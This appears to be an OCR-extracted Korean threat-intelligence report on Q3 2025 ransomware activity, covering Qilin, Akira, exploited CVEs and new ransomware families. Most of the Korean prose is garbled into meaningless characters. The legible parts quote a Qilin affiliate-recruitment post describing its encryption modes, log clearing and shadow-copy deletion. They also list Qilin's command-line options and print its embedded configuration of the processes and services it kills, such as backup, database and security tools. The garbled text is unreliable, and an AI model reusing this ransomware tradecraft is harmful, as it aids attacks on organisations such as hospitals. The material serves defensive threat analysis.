


EQST Lab & O|=M, Fols, =8|, o|¢iot, SN, 0|52

1

@ FHHIO] EZIE ... iiiicrreetttteeeerrrnnnettteteessssssssnnsssssssssssssssssnsassssssssssssssssssssssssssssssssssnasassassssas 2
T. BET] TREND .....eeeeeeeeeeeeeeeeeeeeeeee e e ee e e e sae e e e seeeessaae e sseaessaaesseaasseeassaaasnsaasasssaeansseesnssasassassnssesnnn 2
2.3 27| IO BHE S ... s e e e e e s e e e s a e e s na e e s naa e nnaann 3
3. HHERO] BT ettt ettt e e e e e e s e e e s e e e e e e e e e e aa e saeeeseeesnaessneeenaannn 4

v IH| SEE ST AOJH HE| MEHH| UL ... 4
v GAHIO] FOFQ| KIEHEQD T ......ceeeeeeeeeecceeeeneeeeeettetensasaesesctsesessssasassesessesssssssasassenensasas 5
v & MHIAS DHIAFIE EMUO] SZ et 6
v FIATES O|ETE HHHRO] SBA ...ttt eses e estssssesassssestessssssssssssnssssssnsnssens 6
4. M O] B T B E ...ttt e e e a e s e e ae e sa e e ae e e sne e aeesaaannne 8

@ Qilin Ransomware T1E MM B ... ooiereeecrrecreeerreereeeseeeeeseesaesaesaessaessaessasssaessasssesssasssessaans 10
Be T et eece et ee e e ae e e e e e s s a e e e e e s e e e e e e s aaeae e e a s e e e e s s aaaae s naaaea s aaaaeaeannataeeesnntaeeeensnaeeeannnns 10
2. Qilin RANSOMWArE S| ........eooiiieeeeeeee ettt et e et e et e et e e st s et s e s e se s sae s e e e meeennenan 1"
T T 1 I o I I SRR 1
A, HHIEL T1G ettt et s st e e s te e s s ae e e s s se e e e s e e e e s sa e s e s sn e e e s a e e e a e e e e na e e e na e e e naaeenneas 23
B, B ettt e e e e aeeee e s aeae e aaaee e saaaaea e sataaaa e atataeeasataeeassaaeeeeassaaeeeeassaaeeeeesnnaeeeennnrann 25
B. IOCS.... ettt et e et e e e enaee e e e e e e e e e e nna e e e e e e s e e e e nna e s s e e e e e e e e annnes s e e et e eeannnssseneaseeeeannnsssnnnnaaen 25

@ O] MItIGAtIONS .....oeeereiereiiireeerreenreeereeereeeseeessseessseessseessesssssesssesssssessssessasssssssssassssssssasessasssnees 29
1. THMYO] CHSUIOE QHLI ...t cere e rte e e e see e e e se e e e e s e e e s s e e e e s e e e e s e eesnaeessaaeennsaesnnnes 29
2. SKEIEIA MDR MHIA ...ttt ettt e e st e e s sne e e s se e s e sseesessae s e s naesssnesesnaesssnaassnsnassnnens 30

1

Ao CHSMIE{(1600-7028) KARA(Korean Anti Ransomware Alliance)

- SK’P @IF}EI;II{:; Genians ¥ anDIANT
SK

VERITAS Carrot g “hast $52W



@ Hyslo] EE

1.3 27| TREND

® Akira: SonicWall SSL-VPN #F|2f&(CVE-2024-40766)2 24&
® Storm-2603 : Microsoft SharePoint ToolShell (CVE-2025-53770)2 &€

THREAT

® 3 27| Top5 WM : Qilin, Akira, INC, Play, SafePay
® Qilin EAON : =LY KA2EA CHA iR S

0-day : CVE-2025-53770, CVE-2025-53771
1-day : CVE-2024-40766, CVE-2025-7771

® SonicWall SSL-VPN F 82 E5F =7| HE
o TH 24 & =X 25%, 0= 52%
2
Ao CHSMIE{(1600-7028) KARA(Korean Anti Ransomware Alliance)
bﬁ SI?ﬁétm ) TREND @) Genians ¥ ANDIANT
SK' acin

VERITAS Carrot B #wiase 362\



2.3 37| #iddllo g8 S

549

488 480
423 a7

@ qilin

@ Akira
® 2024 @ inc
@ 2025 @ Play

SafePay
etc

Jul. Aug. Sep. —_—

D

Qus [ JiE
® e .;dg
®ca @ IT/u/EY
@ uK [ FOIES
T S5/2Y/2s
etc etc
[T 1] #HYU 2F ES

HIERES T A ASE 2K J|SYUCE Ol2fgt STk 7R Waslo] 2BSO| BE0| M £I| | S7KsIEA Herxel

o —
34 A B710| FEE & AQZ YIHELh £9] Qilin A2 H 27| U] O 2| 2SstHEM 3 27| HM 34 710
9 QeIo=E AQIEICE

ro
L
J

Xlot £7] RansomHub o TS ZE Ol Z7t Qilin 1F S I @Al IXX %1, HWIKE KaHoz
0

=
e[ ALk Qilin2 F 27| 214 ZolM o 27| 239 O =2 9 11% S7IURH 3 27| 7t& B2 T8l AlEIE 7|=UCL

719] 136 2ol Hloh Z7Kt BES HULL Akira = 01H3| AZE

7] HRE MEshs MEES |5t JACH, msl 72 ot 2I[HZ AISSHAM =zl UL

>
=,
o
[
e[
rlo
o
bt e
HIT
N
8
o
™
o
H
St
e 1
N
I
St
Ral
rr
HIT

Hu

INC 252 3 27| 122 2i9| mfsiE LHAI7|0 Siol 255 ERCL INC 2/ OF2 2023 2 7 & &S AMET 0|2
2024 '4 4 @ 2AFE miof Fao| =Rl Flo: ESS SHOIA HULH, 2|Z20= Rust ANHZ HZHE HHANE ALESH

342 0|0{7t2 Act.

O[20f= Play 82 2022 HRE $ES AR AMIX| X&HZ 3AS FMsHH st SHYS 20|
2024 H2E #30| =20lEl SafePay 1E2 RaaS' DS X|RSHA| ¢t XH|HQ=E R2FHH

=

S
SICHSHH SRTER] ggdet #SS 0/0{7tn UL

x
ra
N
]
2
Okl
I
41 K
K
(!
n
X

2025 H 3 27| 7t E2 Hdeo 32S %2 =7t D=t SYZ LIERT 0j=2 ol 27| 851 742 moi7t EA [0
M 271 729 A thd| S7HJCE o S€2 Ol 27| 76 219 meh7t HASHH M 27| 3 2[0lM 2 fI1=2 4&5eH O FE

T RaaS(Ransomware as a Service): AHIAE MY0{2] Fol2, 2HE Ch7}2 WAYOIS MH|A HEZ XMBst= ol o

1

3
2HMA CHEMHE(1600-7028) KARA(Korean Anti Ransomware Alliance)
‘ I’G:\ A i
SK’Q.:L'EQ SK aga @IF}E';'E Genians ¥ anDIANT

VERITAS Carrot g “hast $52W



mjel sigs AMmEM HZEZYHo| KT

0|0 FHLICIRt F= HA| CHo| SAHS ®OF &9l msi= =90 Zet=|ALCt =
s 2 LIEFRteH, O FIE ofof Ad, ITE-S4, MH|A =22 o7} =Qlx|ALCt.

7t B2 el

Akira Storm-2630

Groups @ enforlt?t‘emment
@ | @ | @ |

| |
| |
| |
| |
| |
| |
| |
| |
Al v

- —_———
- —_——— e — —— —

Target =, . L)
O O
Vulnerabilities Public CVE-2024-40766 CVE-2025-53771

Ransomware Group

institution Healtheare CVE-2025-7771 CVE 2025 53770 Dark web Forum

[23 2]2025 3 £7| #Mo E=

v = SZE St AlO|H HE[ MEHA et

2025 1 3 ®Il= 2 ZE7H AF LB 0lojx AIGCH CIRE ¥ TdlEel PS ©40| daEoz FHEA
Rl0] IF0| Y Jlwtn CrEw EY? o
=
=

[=] [=]
Z2tE Aot ZX[7H SA0| O|RUXIH =2 HE| =Z[9| EF0| A fs}&[AL}.

e

ro

78 MEEI2 IH S FAE SOl T3 E X XSS o 2EXE MEStL AmetE A+ULE MEE A=E2 of 20 A
Afo[H x| HEAOM ESSHH, &0 At e SH =25 Sl 2 700 1
E2futtt. XSS = i Az 3 o FAH AYIEE AHEHStE chEH o

242 HEHoICH

1]
2
H
o
|0
HU
o
rE
4>
>

st o Cf2 Ct3g¥ TAQl BreachForums £
ShinyHunters = PGP3*2 MEE HHS S o A
$HE0] ZE ABX 30| fAP|Z 7SR /JASS ZOWCE OS2 M Founder AIF 40| H THI|EO| <l
SHEIUSS Q1HSIH, BreachForums 2| 7H= o 0|4 E7tssictn MAMC

AtctaJ} DarkForums 2 O|S8l &52 0[0fZt {02 20Ix|9on BreachForums Q| UIQt B TXE QARSHA| $£H3IHA
O W2 AEXPL RYUE AZI7F EIACH

2
)
Ho
of
°
]
o
b

rot
e
or)
=
(]
o
O
=)
m
o
=
c
3
(%)
=
E
A
Jot
N
Iy
=
0
al

2 Y T A4S JHoR oY

>

t2-#lofy-20| HE 2ot 50| RSEl= AHRLEL

3 PGP(Pretty Good Privacy): 2=ty MEQZ, MEXZ} A AE ARXIRJUS AESH= T WAl
4 Founder AIM: 3 Xt == A1 22|t ATS 717 2%t AF.
4
2HMA CHEMHE(1600-7028) KARA(Korean Anti Ransomware Alliance)
- SK’P @TREND, Genians ¥ anDIANT
SK aTERS

VERITAS Carrot g “hast $52W



CHRE EHo| HMet CiZo| a0l IB0 et TAIS OlofFCt 01 WREet 9 AMLTS 8 ¥ 11 Y, BS NS
S8 BlackSuit 420 IF0l CHEH CHARD 4AF ZIHE WEHCH SAP|S C13Y HlolEl K2 Al|ESH 2E0| ALBSHE
QImALE QI4RO, oF 100 B Z2{(3tst o 14 9 &) 2

v ™A 2ofe| X[&Hel mdh

= 71—

2025 H 3 27|l 22H 2AAH MHS AL YA SH2 PES| O|FLE. AAH O Eok= 2HAt YEot 2= |5
S Uz HIoHE gz Histn A, Tz FHo| axte| dEy XZ|7| mzo SHXL 275ts IUS K=
7580 =0t XI5XQ! w37}t st AL

7 ¥ &%, 0|2 ZHXLAZFO| Susan B. Allen Memorial Hospital 2 Kawa4096 1E2| ZHOZ ZIZ TAH A|AHI0| shzot
Omd|SHCE, 2AXE &Ater Zlelo] JHQIMEE s 210GB AEo| HIo|EE ©HF[iCtn FrstH UL mlg Ch3d ¢
AIO|E0f| Z7HZHCE.

Z2 A|7|, 0|2 HIUAIZ=2] Cookeville Regional Medical Center SA| Rhysida #Meo{e] ZHS gtol A7 ZIg 8l 2F
A AJAHRIO| BHE =2 HFIF SEQJOE HMEE|UCH AR X U A HO[HE LR

o 89 )9 Sus 27U, AYLAV[H0| 57 2 HSS KA ot DHARM=FO| o|= 72 High Point Treatment
Center = Abyss JE°| Moo= %[ At BEI} REL] 2F 46000 HoA 7HIMHE 52 EXIMCE

fENME 59| Baden-Wiirttemberg Mg 3|7t Brain Cipher 152 M 2HOZ I|siE QUCt. ZHX= <
1TB 22| HI0|HE EFIMUCID FESIH, Ct3 Y H|o|E RF AO|E0| L& H|O|HE SIHMC

.

0o

etZato] HAH0f-o|A4E QEAXM| Moniz Silva International 0| Qilin 2 ZZg QCt ZAXE 1P HE, o=
2@ QIR & LR COIHE HEMCn FESIH UL XA2E IR 1, 0|2 Qs Aol
IAI™Ql XHEo| MZICL Z2 Al7| O|=e| %E HRHY J[Y Inotiv FAl Q G

42 ¥
AR LRI L2tEACE Qilin 2 °F 176GB 22| H|O|IHE EFULIL FIUCH, EHF T X7 & LFE

N
-

41 o
(KT = o O L .
=
4T 0
I
Z .||:|
=2
mO

I-

9 ol Qilin o SH2Z Y=9| Osaki Medical ot IFHIE UARH, SHXH= CIO|E{H|0|A- 12 2] EE Zgfot oF
113GB 2| CIO[HE 23Ut

2HMA CHEMHE(1600-7028) KARA(Korean Anti Ransomware Alliance)

- SK’P /), TREND @) Genians I AnDIANT

SK VERITAS Carrot ﬁ! et S2W



v BEZ MHAE OIS B0 22 g

= -

n

2025 W 3 2I0IE M A BIZ7Io| MU0l ZHS ot MY AAHO| FEES A7 Holo SRIRICE of2{3t
TS TRdh AHIA XHS WOl NIZ YR, XY 52 5

372 & Sy [ZE 715 MYNoR
DRIAI AR| QIEatel OFENS PIECE

=

0

[HEE=

7 g Zol= 0= DjdI2ERFe| MIEZE A7t #dello] SHS Eot AP WE HIERI 2212 ZH AlA, =AMzt § FR2
WY MHATL SHEIE DBHE UYARH, CHESE fIH LR ALA™RES SXstn FUUSOA| HZHS HAES A0st:= § 7t
ool =titS URISHRR; ZX[ZULE.

8 # XOl= O|= AMRAMNE2O[LIF AMZEHHT FH2E|0f|A IH—‘?—-HI—‘?— S F2 UF A2Ho] Hyoof| ZF=o F+2E|
MEae| S 2etQ! MB|ATF OHHIen, ADIEEHT FH2E|= FRUSHA| HOIH {F 7tsd2 A6t AA” =79 Hot

8 8 FT=Ol= 0|7 2A10|12F O|SELZ AlolA HL AABD MR, STEA, B S AE M43t o] HAQl AMH|AT}
LAHCZ FTEUCL O] SHS| omtZ BIH Mu|A Tl X|H0| EYeH, & 7|=n HH EM X2 & dF 7Isok
ZOHZt LIEFT. 2 AlZ] HHIDE = A fidello] 34 2 t=of 7] HAO|EQL 22t
MH|A7} SEHICE 0|2 2l DMV LR X[Ho| W=D, FRUS2 A S5-Hs| dH & B R M7t Xd== 5 M
AH[A Fto| ETH0| SHRICE

m
ruﬂ o

—_

9 & S0l REQ oAz, B 22 § Lol IHSEM oA "=l L E
AtZi0| HMZUCE o2 Xf2| AZEY0{E HS3t= Collins Aerospace 7t HardBit #4¢|
O|2 QI3 oz S&ollM SZHO| X|QE|7L} BEE|l= & 2Fol| XEO| LML)

24 AAHo0| HhFRE OplEls
gl Z0| goloz solgon,

v HorEs olgst w32

2025 A 7 & &2, Akira HAY0] 350| SonicWall SSL-VPN 7[S0M EQIEl 21X 23| gl 1A = M8 F|bH(CVE-
2024-40766)2 A8 HFS At7p DiRACE D] BEES A Eot MXE HEHX| %2 MENCH, 7| MFO|
SIRE|X| gke 2 AMEX AFat R PAHE LDAP 7|8t 38 MM 5 oz 43 EX7 ZXIHA

toIRiCE. Akira = FY 74 24AE 0|83 210 HXE 38 Fl R0 F2FCH, o|F XA Y SFet AAH
ISotE MOt w5t 8 @ &0l= CPU H5 = =72l ThrottleStop 2| FA&(CVE-2025-7777)2 2

tE5E 5, Defender o MAIZE B9} BIX| 7|58 ZHZ HIZH3sH= E210[HQI hipdrvsys £ 2E§

0okt
OI-

=I= v
Iz

e

nx

02

mio

f "
o

52

n

Jhot

Storm-2603 &2 Microsoft SharePoint Server Of|A ZAHEl 1= 5! M2 X0 22| F A (CVE-2025-53770, CVE-
2025-53771 S)2 2484 X7t HEE[X| &2 SharePoint 0l HEMLCL 0|S2 Referer Sl|C°E =&l Q152 223t

%l SharePoint Aol HASE AZESH ZHS ~HRCE

5 Referer &f|C{(Referrer Header): HTTP Q& A| 22t0|HET} o|F0f| F2$H URL MEE M| MEst= 4§

5 #(Web Shell): BHXI7H HSHE B AHolM AR S HsP| 98] YRESH ATRE J|ut wzof

2HMA CHEMHE(1600-7028) KARA(Korean Anti Ransomware Alliance)

”
b SK /), TREND @) Genians I AnDIANT

SK VERITAS Carrot ﬁ! et S2W



0| Mimikatz,” PsExec® 5

S28) LR X127 S2S 2Hsin, Shest A0S Warlock HARIOIS HHEMCE w3t A
Q=cot IF MM JHH(GPO) 4£% 52 Edf 2 WIS TAMOZ HE oz BAECL ol 20| el
Microsoft = iz #|oFHoll C3t ot XIS Zofstn n2olsl S2t=9l rlo|E MES HnHCt,

7 Mimikatz: Windows A|ARIOM Xt2 ZHE F&Ete =18, AKX} 2A2|X Aot Zop 9 Aeh M52 sl 2o 48

o

8 PsExec: Z HH A =12 ZAXHE= =F[st AZX}F AI™HE olg

8ff CHE AlAH0A &
7
A0 HSHIE{(1600-7028)

SK’P

29
=]

Hl|0

KARA(Korean Anti Ransomware Alliance)

SK’P @IFI{EIEIE Genians ¥ aNnDIANT
VERITAS Carrot g “hast $52W

YOON &YANG



Month  New ransomware variants (origin/variant) New ransomware & groups
July Makop .ziver .AIR .atomic .REVRAC .cowa .derv DarkArmy BQTLock Sinobi
Xorist .antihacker2017 PayoutsKing
Aug. MedusalLocker .cybertron18 .jackpot27 .solutionwehave247 Cephalus PromptLock Desolator
Babuk .level Conti .KREMLIN Chaos .solara Dharma .RDAT BytesFromHeaven Pear
BlackNevas
Sep. Medusalocker .taro Dharma .theft Conti .Bitcoln LunaLock Obscura Yurei
Globelmposter .GOTHAM  Makop .sns .0 TheGentlemen  CoinbaseCartel
BlackShrantac Arachna Radiant
WhiteLock

2025 @ 3 27[dlz Xk 270l ofof o= 7 W IF0|
tHAlEES HAE 2O JIsS =l AIEAe 2

= g
a3t Aoz eIt o= ol E7| MEA SES7LE €30| =elel =2 #ygellol 250 chgt 3ot

e Sinobi
Sinobi Ago] 152 20251 780 SESE 1EQZ, INC MY 22 FEE J|gioz 53 Lynx 1EN
FAME HOICL E3 & 152 =3t Waln M3 QIXt pZEIF He| SYUSHH, Sinobie LynxOlA LR QUKo

FII5HHLE Xt HE 2 JHUEQUCEH E3t &= OFC| CIAY KF AMOIEE Ul 4% HiFs =71 Hel SYdl, =tA
LynxOllM AM2El 148 QAE 7|4O2 JHE ZIo= EQIEICE
e BQTLock

BQTLock2 7& F=0| &AL 1FQZ BQT RaaStt= LCI3E {= AMO|EE 2FsIH &Fst UCL SHXIt
.l

%II-
A HAREE S 2t ASBAte

SHEAt, A= Hel Y LE LE §2 Y AFEY £+ U= HAH UME HIsH, S
OISR} ==, Y& MEf, S HACE TA o Azl 34 RIS MANCE 2 £ JEE it BQTLock
2MQoj= A A| Discord Webhook®S 0|23l L|sH A|AEI] SAEH AKX ME IP § 2 HEE JSON HE|Z

9 Discord Webhook: Discord SHZol|N HIst= X5 22 ¥ HAIX| M4 J7|52E, HTTP POST 282 S E3 tMUE Hlo|HS Mad 4 Ut

(=] =

8

u

2H M9l CHEMIE|(1600-7028) KARA(Korean Anti Ransomware Alliance)

e .

SK aga @IF.{E'Q'E Genians anDiaNT
VERITAS Carrot B “iass S52W

¥
SK"EE

|>




o
.|
Hu
i
O
rir
Jm
0}
o
N
yal

*  Cephalus

Cephalus #H¢0] 21E2 20254 6ERH
3IHSHCt. CephalusE SentinelOne2| XAt
A3t EXO| oM, 88 0|

Pear (Pure Extraction And Ransom)

Ciagl 93 MolEet B

g3S AMAYeLt oS Lt HlojE] |fE MO|E: 80| S0{A0F

2 oiEs A48d AN mEsS o

0%t
Fl'F

NUEEERIPIE
EER RN

>\l

A7t =l X ES0| SthEl

ot SUS 275IH, 718 L SAE XISsHK| %™ ST Ho|HE -T'-7H°P LD gdiotct, ol WMAS So A==
38 £ A= 7Y SHoME F7F oAl 2=t 2] A, of M REEH 7| MEE 2 HAE-FHE MY
4 & FHE |F Yol g4dHE =0l O o |25iCHs mcho] 2 HM2kd MEHo|C freF ISRy HitsS
HEsHEtE, 38X 23 et Ho|HE molijstAL T4 ZHo| S8cEMN FHA ojds AHE £ QCt= 0[FO|
ULt
* LunalLock

LunaLock &2 2025 98 St MM FCE, Mol RFF U 23 2oz CIX|EH OfE ZAEQI
Artists&Clients Esll Al E0[3h 34l hAlZ AFRYCL LunaLock Artists&ClientsOilA] EF[$H ZEZEat AATEE
Chag| EOP‘"Ef flgste ol OX|X| ¢a1, Ol Al ZHEe| 358 H|0|HE HESIRCtD HHRCL ol Al &&
Aol ot H UZE C|O|E{= AFMA 3|StALE MH[SH| o2 SEME 486, msixte] H=tE0| A HslLt Rt
2E g &8 = ASS Zxst= gt WAo|UCE

"© DLL AtolERE: FA mZEawo| A
o= 34 71Y

i 20] CHEAIE|(1600-7028)

SK’P

ZESEALE o DLL 2 wAel, HA Z2MHAZE Ssf SHICI MHEEE

O

KARA(Korean Anti Ransomware Alliance)

(= .
SK ’ TREND, Genlans P aNnDIANT

M1

VERITAS C'arrot *m“”* S




et > Partners Program \ RaaS \ Partner Progr...

Good day to all!
We are recruiting teams of experienced pentesters for our affiliate program.

Briefly about the existing functionality:

- Reliable encryption algorithms (chacha2O\AES) + RSA4096

- Customizable encryption modes for finding the perfect balance between encryption speed and cryptographic strength

- 4 software operating modes:

normal - completely encrypts the file

step-skip - encrypts with spots of fixed spot size and skipped part

fast - encrypts the beginning of the file

percent - Encrypts with spots with a fixed spot size and a dynamic skipped portion based on the file size

- Ability to reboot the machine in safe mode with automatic login and file execution

- Directional encryption (disks/folders by specifying a path, remote machines by specifying the machine’s IP address)

- Ability to disable various filters when launching a file if necessary (use at your own risk)

- Killing the most important services and processes for the most efficient encryption and eliminating the possibility of decryption
- Freeing up files occupied by services and proces

- Clearing system logs and removing shadow copies

- Ability to distribute a file over a network (provided that credentials are provided during assembly)

- A proven preset of settings in the panel, but if necessary, you can add parameters specific to your network

- Build does not store all the company's login credentials for the landing page, which will eliminate “unauthorized people” when communicating with the
company.

- And many more different features that you will get to know during the work process

[23! 1] Qilin RaaS EE3

Active member

Qilin HHEA IFS 20224 70| Agenda 2= 0|ECE ESdt7| A&ITt RaaS(Ransomware-as-a-Service) IEQE,
2025 @ 3 EII7X| 799 ol o= ZHS FEILL O|S2 & X7I0| Go 7[ute| HMMANHE AWM, 2022 A
12 o= Rust 7|Hte] HHMYYOE F= AHESH7| ARRUCE £3] 2023 H 2 HEEE RaaS EAHECE 2FE|7| A=k,
CH33 RAMP EH0M TS DESH| AZRCL 2E SD0M SEFZIATHCIS) 2% 7t 34 tHdoM HelZi=d]|,
Ol= 80| 2{Alofe} HEO| UASS AlAFEICE

2024 A H T 7|29] Cronos XHOZ QidiEl Ly OE LockBit 2 S Qilin 0] M| AXISIH sz 25517|
AIZFHEE 2024 Holl= 2023 4 Cid] < 4HH|-f Z7t5t OsiXIE AASHH fIE&el Z&2 Ho|7] AXIHOH, ol2{st NEME=
2025 Hofl S 7H43HCt 2025 H 4 ¥, RansomHub 2| ZEAZ2 &5 ZFthat 37 Qilin HMYHE 0|88t ZHO|
71O, Qilin 2| 2025 2 27| =22 1£27| thH| o 80% 25t 2 27|0l= 71& =Xl siMeof 2/ J8e=
AL
Qilin 2 2024 A 6 ¥ WMot = GO WY AAHS I XSS IHEHS ™ MA/M| ZAA|ZCE OS2 HRle A
Ha|g MH|A HSHIQl Synnovis & SHsH AT L £ HAUSO| 7152 ArM4 OH|AIZICE 0] 3HSE 6,000 740| He
>3t TF oeko| FAE|D Bl L£Zof xtEO| MZOM, A 170 O At msHel 1 HO| ALK WAMSH= HISHC!
Zapop WMLt Qilin 2 5,000 oF E22ts oftfst SIS 2FotH, thatt 2HA 0SS Ho F oot It A|ME SH
oithst =22 op7|e & U sHE HOFIC
10
2HMA CHEMHE(1600-7028) KARA(Korean Anti Ransomware Alliance)
Iy
"k’ SK 2o~ 3 TREND (G) Genians I anDIANT

VERITAS Carrot B “iass S52W



2. Qilin Ransomware E4|

Qilin HE20f 7= HIOIH &4
300
250 214
200
150 19

100
20 47 46 53
50 18

6 3 10 14 I
0

2022 2023 2023 2023 2023 2024 2024 2024 2024 2025 2025 2025
4Q 1Q 2Q 3Q 4Q 1Q 2Q 3Q 4Q 1Q 2Q 3Q

Qilin MY IF2 M=, A4Y, 27, RE S AAHO| OHHIZH X[HHQ 40| WHSH= MAZS F= SZHTICL EAO
|z

SHCE 20| X|Fo| Mo|A & ¥ otL2f, Tt HOIHE LIF= 7|Yel B2 st HOIHE o8¢ gHo|Lt 2 X} m|oh

o =

M flgol Aol X7t TS A= =HE0| ¢ =7| WI2OIch tHREEQ mgh 7|¥2 nl=00 HI=H AL, S5l
9 ERE ptRo| AMfURE J|Ho| HEHOZ AMED ACt HHT HIZE L ALU2EAM| 1T AZet P=at LR 27 2
AM2”IS BEols GA7E SAYE of2 FL XHUH28Ae| H|o[E7t REE A= Sl

3. Qilin HHA M A

Qilin AMALo{= 2022 H 8 Hof| HLE Go 7|Ht HFI 2022 A 12 & W=l Rust 7|8t HZFO| =xstH, X|27HA| Rust
HES| 7|58 Z7ISALE AMHSHHAM AFRsHRD QUCH = HIMol= 25 ¢ 9 2o WHE Rust HES J|&z02 2M2
Tighstn, 2024 A 7 @ UEHEl EQST Insight Of|A T2 Rust HF3F %2 2QIEl Rust HHQ| HAE NS H|wWPHC]

HHQO7} MEEH ASHIE flet FHITHAZE AZEICE Qilin MMRI0E F 42 79| 2IXIet 18 7He| LHEE Al MO
THEO ACH, K| Insight HH Cd] 282 MRE|E FH0| Zxst, 8 il Ixt 8 1 7He| WEE S40| =IHHL). ShxlTt
3 3 17He 2AXtet F7HEl 1 72| WE SM2 OFF J50| FolElX] 842 HEHO|H, 7I1E00 AESHH Xt & 5 e IXE

solot & # 7|5 ofof AHIEl 0| Helgrt,

Ay M | SM My A
I

Hu

--password aleo] Aol TR IHARE S
--paths EY FZE s} -
--ips EX SAE 453} -
--exclude PsExec #&eo| Mo} o] cHah X|H -
--timer X[Fet AIZHE)2E 7] = H i
--no-sandbox MEBIA $tA EX| H|gde) -
--no-escalate A ¢S HIEgs} AtH|
--impersonate Hst 845 AF XIF AR
--safe AAR HZHS HEF 5 oM E A -
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https://www.skshieldus.com/download/files/download.do?o_fname=Keep%20up%20with%20Ransomware%207%EC%9B%94%ED%98%B8_%EC%98%81%EA%B5%AD%20%EC%9D%98%EB%A3%8C%20%EC%84%9C%EB%B9%84%EC%8A%A4%EB%A5%BC%20%EA%B3%B5%EA%B2%A9%ED%95%9C%20Qilin%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4.pdf&r_fname=20240712112845923.pdf

--no-priority ProcessloPriority A% H[Z4 s} &7t
--no-admin 22|xt At =2l J)s d|gdst 7t
--no-local 2Z A3 Azl Higdst -
--no-mounted HES®Z 3% E0 ==t sl 7t
--no-domain HES3 SAE(AD) 2Sst H|gHAst ]
--no-network MEY M| HESHI 37 B0 =3t H|gds) -
--no-ef SRt o] EE HIg-d3} -
--no-ff o o T Hlg-ds} -
-no-df 2 o2 e H|gdst -
--no-autostart Windows XI5 AlZF S8 7|5 HIZ43} =
--no-proc OZMA Bt 75 H[E@He} -
--no-services MH|A FEH 7|5 H|gdst -
--no-vm VM Z3H MH|A gl TZNAE SZ AN X< -
--kill-cluster Clusters 2 MH|A Sl TZNA B5 -
--no-extension Ao HEA F71 HIEMSL -
--no-wallpaper HiA2IH 2! FgetH HE H|gds) -
--no-note YHL-E D|ld4Hd -
--no-delete gl ClAER| AfA| ArH|
--no-destruct X7t AfH| H|g-d=t -
--no-zero ClAa3 gl 37t He| A
--print-image HHLE W8S TtlE=E &Y -
--print-delay X[&st AlZHX)2E 7| = Z2lE = -
--force 55 Ad 58 -
--debug TOERE A -
--no-logs 23 =3 g ME H|gyel =
--fde 7|5 0|+ 7t
--spread PsExec 7|4t HE9= ™ot -
--spread-vcenter PowerShell Script 7|8t vCenter HIt -
--dry-run ot st Mzt =
--logs 21 mY =(QLOG.zip) ES/
--escalated AESE AR MY FAs ESH| gl EX A
--parent-sid EZg =HE x2hAQ SID XA -
--spread-process 5 ot ¢X|E gl £EX -
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QX0 ME HH M HY o[Fo=, WYL LR MIE LIS =it Y=o} ole Y, F= Y TZEAHA 8
E

MHIA, HIEYA Hojol A}

[08:03:27]+10.76212860] <Threadld(1)>: === START EMBEDDED CONFIGURATION ===

[08:03:27|+10.76247930] <Threadld(1)>: extension_black_list: ["themepack”, "nls", "diapkg”, "msi", "Ink", "exe", "scr”, "bat", "drv", "rtp", "msp", "prf", "msc", "ica", "key", "oex", "diagcab”,
"diagcfg”, "pdb", "wpx", "hlp", "icns", "rom", "dIl", "msstyles”, "mod", "ps1", "ics", "hta", "bin", "emd", "ani", "386", "lock", "cur", "idx", "sys", "com", "deskthemepack”, "shs", "theme", "mpa",
"nomedia”, "spl", "cpl”, "adv", "icl", "msu”, "4qDWPNLVTS"]

[08:03:27]+10.76283450] <Threadld(1)>: extension_white_list: ["mdf", "Idf", "bak”, "vib", "vbk", "vbm", "wrb", "vmdk", "abk", "bkz", "sqb", "trn", "backup”, "bkup", "old", "tibx", "pfi", "pvhd",
"pbf", "dim", "gho", "vpcbackup”, "arc”, "mtf", "bkf", "dr"]

[08:03:27]+10.76308850] <Threadld(1)>: filename_black_list: ["desktop.ini", "autorun.ini”, "ntldr", "bootsect.bak”, "thumbs.db", "boat.ini", "ntuser.dat”, "iconcache.db", "bootfont.bin",
"ntuser.ini”, "ntuser.dat.log”, "autorun.inf", "bootmgr”, "bootmgr.efi”, "bootmgfw.efi", "#recycle”, "autorun.inf”, "boot.ini", "bootfont.bin”, "bootmgr", "bootmgr.efi’, "bootmgfw.efi”,
"desktop.ini”, "iconcache.db”, "ntldr", "ntuser.dat”, "ntuser.dat.log”, "ntuser.ini", "thumbs.db", "#recycle”, "baotsect.bak"]

[08:03:27|+10.76360680] <Threadld(1)>: directory_black_list: ['windows", "system volume information”, "intel”, "admin$", "ipc$", "sysvol", "netlogon”, "$windows.~ws", "application data",

non non non o non non

"mozilla", "program files (x86)", "program files", "$windows.~bt", "msocache", "tor browser", "programdata”, "boot", "config.msi", "google", "perflogs", "appdata", "windows.cld", "appdata",

"0 "boot”, "windows”, "windows.old", "Srecycle.bin”, "admin$"]

[08:03:27|+10.76393840] <Threadld(1)>: white_symlink_dirs: []

[08:03:27|+10.76446120] <Threadld(1)>: white_symlink_subdirs: ["ClusterStorage"]

[08:03:27]+10.76504220] <Threadld(1)>: process_black_list: ["vmms", "vmwp", "vmcompute", "agntsvc”, "dbeng50", "dbsnmp", "encsvc", "excel”, "firefox”, "infopath”, "isglplussvc”, "sgl",

"msaccess”, "mspub”, "mydesktopgos”, "mydesktopservice”, "notepad”, "ocautoupds”, "ocomm”, "ocssd”, "onenote”, "oracle”, "outlook”, "powerpnt”, "sqbcoreservice”, "steam”, "synctime”,

“"thirdconfig”, "thebat”, "thunderbird”, "visio", "winword", "wordpad”, "xfssvecon”, "bedbh”, "vxmon®, "benetns”, "bengien”, "pvlsvr", "beserver”, "raw_agent_svc”, "vsnapvss”, "cagservice”,

"gbidpservice”, "gbdbmgrn", "gbcfmonitorservice

", "sap”, "teamviewer_service", "teamviewer”, "tv_w32", "tv_x64", "cvmountd"”, "evd", "evfwd", "cvods”, "saphostexec”, "saposcol”,
"sapstartsrv", "avagent”, "avscc”, "dellsystemdetect”, "enterpriseclient”, "veeamnfssvc", "veeamtransportsvc”, "veeamdeploymentsvc", "mvdesktopservice"]

[08:03:27]+10.76600330] <Threadld(1)>: win_services_black_list: ["vmms", "mepocs”, "memtas”, "veeam", "backup”, "vss", "sql", "msexchange", "sophos”, "msexchange”, "msexchange#$",
"wsbexchange”, "pdvfsservice”, "backupexecvssprovider”, "backupexecagentaccelerator”, "backupexecagentbrowser”, "backupexecdivecimediaservice”, "backupexecjobengine”,
